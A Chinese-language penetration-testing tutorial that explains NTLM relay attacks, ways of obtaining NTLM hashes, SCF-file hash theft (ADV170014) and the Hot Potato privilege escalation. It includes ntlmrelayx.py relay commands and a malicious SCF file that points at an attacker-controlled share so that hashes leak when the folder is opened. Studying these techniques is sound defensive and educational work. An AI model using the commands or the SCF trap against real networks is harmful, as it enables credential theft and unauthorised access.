目录

NTLM 中间人攻击

NTLM 中间人攻击

1 背景介绍

NTLM Relay,中间人攻击或重放攻击是一个意思。

B 是一个 smb 服务器,A 来进行认证,B 将 A 的认证信息转发到 C 上,如果 A 的凭证在 C 上认证成功就能进行下一步操作,如创建服务执行命令。如果在域中控制了某些常用服务,如:WEB OA 系统、文件共享等服务则可以尝试使用 SMB 中继攻击来引诱域管理员访问达到获取其他机器权限的目的。

2001 年,最早由 Dystic 实现,SMBRelay

2004 年,发展为 HTTP -> SMB,BlackHat,未开源

2007 年,HTTP -> SMB 被集成到 MetaSploit

2008 年,HTTP -> HTTP的 NTLM 攻击被实现(MS08-067)

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200207143016.png-water_print

1.1 HTTP -> SMB 攻击实验

1.1.1 nmap 探测 SMB 签名

nmap

1
nmap -p445 --script=smb-security-mode.nse IP --open

1.1.2 使用 ntmlrelayx.py 测试

ntmlrelayx.py 脚本在 empire 包中

1
ntlmrelayx.py -tf hosts.txt -socks -smb2support
注意
发起攻击时,HTTP -> SMB,开启 80 端口,需要保证端口未被占用

攻击成功后,会在攻击机本地开启 1080 socks 端口,通过 proxychain 等代理工具,即可控制目标机器。

注意
进行认证时会提示输入密码,留空即可使用 relay 后的凭据进行认证。

获取 NTLM

1 相关背景

1.1 NTLM 的存储位置:

1、系统数据库 SAM (Security Account Manager)

2、DIT 数据库

3、内存 Cache

1.2 NTLM 的获取方式

1、从 SAM 获取

2、内存获取

3、DIT 数据库获取

4、WCE、PWDUMP、MIMIKATZ…

1.3 NTLM 的形式

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

LMHash (windows 2008 R2系统以后系统默认不保存 LMHash)

NTHash

NetHash - 主要获取该种 hash

1.4 远程获取方式(窃取):

1、Responder

2、HTTP + SMB

3、SCF + SMB

4、SQL + SMB

ADV 170014 NTLM SSO

2017 年 10 月,微软在周二补丁日公布了一份安全公告(ADV170014),这份安全公告中提到了 NTLM 身份验证方案中的一个漏洞,恶意攻击者可以利用这个漏洞来窃取哈希。

攻击者只需要将一个恶意的 SCF 文件放置在可公开访问的 Windows 文件夹中即可。

一旦文件被放在文件夹中,就会被一个神秘的 bug 执行。它会收集目标的 NTLM 密码散列,并将其发送到一个配置服务器中。

目标主机存在没有设置密码保护的一个共享文件夹,这种场景非常常见,比如办公室、学校、医院以及大多数 Windows 环境中,人们都会通过共享文件夹来共享音乐、照片以及文档。

攻击场景

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200509105732.png-water_print

非正版系统可能没有该设置:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200509105840.png-water_print

微软在 Windows 3.11 时引入了 SCF 文件。SCF文件其实是纯文本文件,可以用来指导 Windows 文件资源管理器执行一些基本任务。

1
2
3
4
5
[Shell]
Command=2 
IconFile=\\192.168.1.2\sharetest.ico 
[Taskbar] 
Command=ToggleDesktop

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200509110136.png-water_print

基于 NTLM 的权限提升攻击——热土豆

2016年 1 月,Dominic White 发表了一篇文章,发布了一种基于 NTLM 反射的权限提升攻击方式,命名为 Hot Potato。

可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

原理

Hot Potato 利用著名的 NTLM Relay 攻击(HTTP -> SMB)和 NBNS 欺骗,获取 Windows 系统的最高 SYSTEM 权限

可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

NBNS 欺骗

NBNS(NetBIOS Name Service)是 Windows 系统中广泛被使用的 UDP 广播服务,即命名查询服务。该服务使用 UDP 协议实现,可以通过发送局域网内广播来实现本地名称解析。

类似于 TCP/IP 协议中的 DNS,它负责查找目标机器相应的 IP 地址,并赋予一个NetBIOS 名称。微软 WINS 服务就是采用 NBNS

流程

系统进行一个名字查询的逻辑如下:

1、首先查询本地的 hosts 文件; 2、DNS Lookup 查询; 3、NBNS 查询 NBNS 的逻辑是向本地所有主机广播一条消息,谁是xxx,如果谁响应了该广播消息,谁就是xxx

原理

在内网渗透测试时,攻击者往往会监听 NBNS 广播消息,并且会应答自己是xxx,这就是 NBNS 欺骗; ARP 欺骗是 MAC 层的欺骗方式;

NBNS 包有 1 个 2 字节的 TXID 字段,必须进行请求\响应的匹配。因为是提权漏洞,所以攻击之前没有权限可以监听流量。可以通过 1-65535 之间进行泛洪猜测。

如果网络中有 DNS 记录,此时就不会用到 NBNS 协议;

可以通过 UDP 端口耗尽的攻击技术,让所有 DNS 查询失败,从而必须使用 NBNS 协议。

WPAD 代理

Windows 系统中,IE 浏览器会自动检测 IE 代理配置信息,方式是访问 http://wpad/wpad.dat&#8221

WPAD 是不一定存在于网络中,因为即使有 DNS 服务器,也没有必要解析 WPAD,除非网络想通过配置脚本自动配置网络中的代理信息,这种情况很方便。

因此在 hosts、DNS 查询都不能获取 WPAD 的情况下,系统必然使用 NBNS 进行名字查询,此时可以通过 NBNS 欺骗,告知自己就是 WPAD。

可以构造 HTTP 服务器,响应 http://wpad/wpad.dat&#8221 查询

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510095645.png-water_print

通过在 127.0.0.1 上构建 HTTP,将查询 WPAD 的流量 全部引导至本地127.0.0.1;

即使低权限用户发出的对 WPAD 的 NBNS 欺骗,高权限进程也会受影响,认为 WPAD 就是欺骗后的结果。包括本地管理员进程和 SYSTEM 进程

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510100024.png-water_print

HTTP 到 SMB NTLM Relay

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510100141.png-water_print

NTLM 认证对于中间人攻击的防御能力不强,此前针对 NTLM 的重放攻击聚焦于 SMB->SMB 协议,反射攻击访问者的主机,获取远程执行权限;

微软通过补丁封堵了 SMB->SMB 协议的重放反射攻击,但是 HTTP->SMB 这种跨协议的攻击仍然有效

Hot Potato 攻击就是结合了这几点,实现权限提升:

1、NBNS 欺骗

2、构造本地 HTTP,响应 WPAD

3、HTTP -> SMB NTLM Relay

4、等待高权限进程的访问,即激活更新服务(低权限可激活)

参考文献

https://foxglovesecurity.com/2016/01/16/hot-potato/

https://blog.csdn.net/qq_27446553/article/details/50559688

http://www.freebuf.com/articles/system/93484.html

http://www.freebuf.com/sectool/160884.html

https://github.com/foxglovesec/Potato